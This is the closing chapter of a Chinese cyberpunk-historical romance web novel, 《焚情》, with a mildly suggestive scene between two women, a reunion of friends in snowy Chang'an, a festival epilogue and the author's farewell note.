憔悴感在渐渐消散,李极的脸庞圆润了些,白发反而为她增添了一份旁人没有的蛊惑诱人。
沉睡了三年,曾倾洛有很多事要做,可一入夜,李极便从她身后过来,蹭着她脖子讨要。
李极原本就粘人得很,经过这次波折,更是恨不得没日没夜地挂在她身上,撕都撕不下来。
看着李极的白发,不知还能有多少快乐时光,曾倾洛没忍心驱赶她。转过身,不太熟练地圈住李极的脖子,双唇有点笨拙地轻轻贴在她的唇上。
还以为曾倾洛这辈子都不会再主动,李极心一下子着了火,直接启开了曾倾洛的唇。
曾倾洛被她弄得“唔”了一声。
雪白的发丝缠上来,曾倾洛乖乖张开唇,接纳李极缠绵的吻。
不是记忆模块中被反复回味的过往,今夜是她们情感真实的延续。
李极终于又能拥抱她,得到她压抑的反应。
眉心还是那样蹙起,似痛苦又似满足,之后便会在某个时刻拧得更紧,随后欢慰又脱力地慢慢松开。
李极想得太深,思念浓稠难解,曾倾洛也没反对,默许她可以做任何事。
曾倾洛的默许和沉默中的配合,甚至是主动,让李极兴致前所未有的高。
曾倾洛是很闷的那种人,不出声,半点花样都不会。
李极却觉得乐趣无穷,偏要欺她,折腾出声响。
曾倾洛一面羞着,一面反应又更浓。
实在受不住的时候,曾倾洛都没舍得咬,只是用力地抱住她,攀附在她身上,唤她“裴寂”。
“裴寂”的尾音带着破碎的意味,好听得让李极心下酥软。
一趟趟的不停,曾倾洛其实已然脱力,可李极还想,她便纵容着身上人继续掌控自己。
李极的吻中明明白白写着最最浓烈的占有欲。
是不死不休,是唯她是从。
是只有她才能引发的极致快乐。
……
今年的初雪落得很早。
长安城染上一层银白的时候,沈逆和边烬搬回了双极楼。
公国府还是会住,但沈逆知晓,边烬忘不了双极楼,那也是她们一同长大的地方。
沈逆一边忙着帮李司治理内廷、开疆拓土,一边把双极楼完完全全按照记忆里的样子修复了。
重不重振宗门,沈逆不在乎,边烬想重振就重振,只留下当个随时都能来走走的别院也罢,一切都是为了边烬开心。
双极楼重修之日,沈逆邀请好友们长安聚首。
第五阙和贺兰濯带着一大堆贺礼早早来了。
沈逆看到第五阙第一句便道:“你来得正好,帮我把炉子支起来。”
第五阙:“?不是,我是客人,一来你就让我干活?”
“你是客人吗?每回来都把我库存吃光的人是客人?别废话,你那只胳膊我可是花重金打造的,要不咱们现在结算一下?”
第五阙:“……不就是炉子,今天不给你支一百个我不走。”
她俩在这儿一边斗嘴一边架炉子,边烬则和贺兰濯坐在沈逆专门打造的观景台前赏雪闲叙。
贺兰濯的视力已经被第五阙养好了,双瞳变回了透明美丽的琉璃状。
去年她的天赋就已经回升到了S级,今年还在不断攀升,她有预感,会再次回到双S级。
贺兰濯喝一口苹果酒,说:“阿赐记忆里的脏东西总算被驱逐干净,麻烦的是我还得继续戴一段时日的护目镜。以前戴了那么多年不觉得难受,现在再戴回去,反而别扭。”
边烬道:“我也是,以前紧绷着神经时能几夜不睡,现在稍微熬一下夜,第二日没精打采。”
贺兰濯:“这是什么,盛世综合征?”
两人正笑着,曾倾洛和李极来了。
第五阙刚把炉子支好,看到李极一头乌黑的头发“哟”了一声。
“别这么看着我,染的。嘶,山上真冷。”
李极对第五阙说:
“傻子,能给我单独生个炉子吗?”
第五阙:“再叫我傻子,我把你打成傻子。”
边烬过来招待她们,“你们先去暖阁里,一会儿也在暖阁里用膳。”
“不了。”
李极对双极楼很好奇,毕竟曾倾洛在这儿长大。
刚才还喊冷的人,这会儿对曾倾洛说:
“带我走走?”
曾倾洛:“好。大师姐,那我带裴寂去走走,一会儿回来。”
边烬:“下了雪,路上注意安全。”
李极揽下这话头,“有我在呢,怕什么。”
这段时日的温存,让李极确定曾倾洛对她的心意,如今走到哪儿都恨不得炫耀一番,有时候弄得曾倾洛无言以对,可看李极乐在其中,又没法说她。
两人携手上山时,窦璇玑和李司坐着天子仪仗从天而降。
窦璇玑还未进屋就在喊沈逆的名字。
沈逆正在用她刚刚研制的串肉机串烤串,看窦璇玑兴冲冲跑进来,腾出手行礼。
“拜见皇后娘娘,怎么了,小房回你了?”
沈逆一猜就中,窦璇玑开心道:“是啊!她回我了!”
沈逆回长安之后,帮着李司整肃了一段时日的内廷,之后去看了房判,全面升级了系统,为房判建立了一个对话功能。
房判暂时无法真的开口,但可以通过图片来沟通。
发图片给她,她能直接用大脑读取,再回复。
这是沈逆最开始设定的逻辑,只是好一段时日了,窦璇玑通过系统发了无数图片过去,房判一直没反应。
窦璇玑坚持发,每日都发。
今早,又发了一张御花园内的雪景给房判,一盏茶工夫后,房判居然回复了。
回复的是系统默认的表情图片。
一个发抖的圆脑袋。
在这个通讯发达的年代,已经很少人会用这么简单的表情图片了。
可对窦璇玑而言却弥足珍贵。
沈逆往嘴里丢了一颗油炸地豆。
“等再观察一段时日,我把语音功能加上,以后你们就能直接对话了。”
窦璇玑:“那可太好了!”
开饭前,曾倾洛和李极从山上下来了。
山上时李极的围脖跟帽子,此刻都戴在曾倾洛身上。
贺兰濯神神秘秘对李极招手,“殿下,来。”
李极走到她身边,“你不是想把我推下悬崖吧。”
贺兰濯笑道:“我推你干嘛,有件事要与你商议。”
雪越下越大,双极楼的景致愈发壮阔。
李极的黑发上落下一层银白,她看着身侧的贺兰濯。
“驱毒?”
贺兰濯翘着腿,轻转着手里的酒盏道:
“当初我答应了李煽帮她寻找解药,一直惦记着这件事。我联系过韩复,想必她跟我说的话也跟你说过。”
李极:“此毒无解。”
“对,但那是对于韩复而言的无解。可对于你我而言,未必是相同的答案。倾洛来找过我,问我有无法子为你解毒。”
李极有些惊讶,“她找过你?”
贺兰濯笑着说:“她不仅找过我,也找过沈逆和边烬。当初沈逆封印黑魔方的时候,给了我很大的触动,我想起在突破至双S级精神天赋的那一刻,我感受到了天地的运行,宇宙的闪耀。我知道,那是可以逆转一切的力量,只是时间太短暂了,还未让我好好研究力量就离我而去。可是,它现在又要回来了。”
贺兰濯从李极的眼眸里读出了渴望。
“殿下,你不想试一试吗?试着逆天而为,试着与自己心爱之人白头偕老。”
贺兰濯所言,诱惑太大。
李极:“我自然想。”
做梦都想。
贺兰濯道:“如果真能逆转你身体的宇宙,那么有可能,你现下所拥有的天赋也会消失,你舍得吗?”
李极回眸笑道:“若是你,你舍得吗?”
贺兰濯望向被炭火烫得龇牙咧嘴的第五阙,唇边漾着一抹笑意。
为了她,自然一切都舍得.
一群人聊起贞观年间的生死一瞬,仿佛还在昨日。
李司忙于政务,许久没这么开心了。
沈逆正好放了一段熟悉的乐曲,李司脑子一热,脱了外衣便想跳舞。
边烬:“陛下乃九五之尊,这样不好吧。”
差点就把“成何体统”这四个字脱口而出。
沈逆等人也实在不想看李司跳舞。
李司却道:“这是我最大的爱好了,我多久没跳,身子都要锈了。天子怎么了,天子没腿吗?不能跳舞吗?”
众人看向窦璇玑,只能指望皇后能阻止一下了。
窦璇玑却道:“让她跳,今夜幽会麦香小乔。”
众人:……
李司在大雪中起舞,一开始李极还觉得会辣眼睛,没想到李司身段比她想得要美得多。
从地上跳到桌上,李司越跳越起劲,沈逆把餐具都拿出来,分给大家,敲碗击盘,跟着节拍为她伴奏。
于是,李司便成了唐Pro帝国五百多年国祚中唯一一位给臣子们跳舞的天子.
又是一年正月。
今年的通天火轮格外壮阔。
瑞雪千里,沈逆和边烬手牵着手漫步在热闹的市集。
通天火轮的火光映在她们脸庞上,“伉俪情深”的徽章挂在腰间。
一人一枚,成双成对。
人人都在抬头注视着盛世光景,只有边烬低头,看见一朵小花从缝隙中顽强地冒出了头。
沈逆也随着她低眸,注视那朵漂亮的花。
冻土之下昂扬的生机,越寒冷越美丽。
今夜玩得太晚,边烬有些困了。
在寻常又平和的人间烟火气中,边烬靠在沈逆肩头,安心地闭上眼。
身旁有人认出了她们,正要喊。
沈逆指尖点在唇上,轻语着:
“嘘,我的妻子睡着了。”
作者有话说:
完结啦~撒花花~
很早以前就想写一篇赛博古代背景的故事,也是全新的尝试吧,写得很开心~
谢谢喜欢《焚情》的大家~
还有些番外,就什么时候写完什么时候更啦-
下篇文写《越界》
——在暗恋中病态,不如横刀夺爱
苏爽甜小甜饼,谢谢大家收藏一下~
下篇文见啦~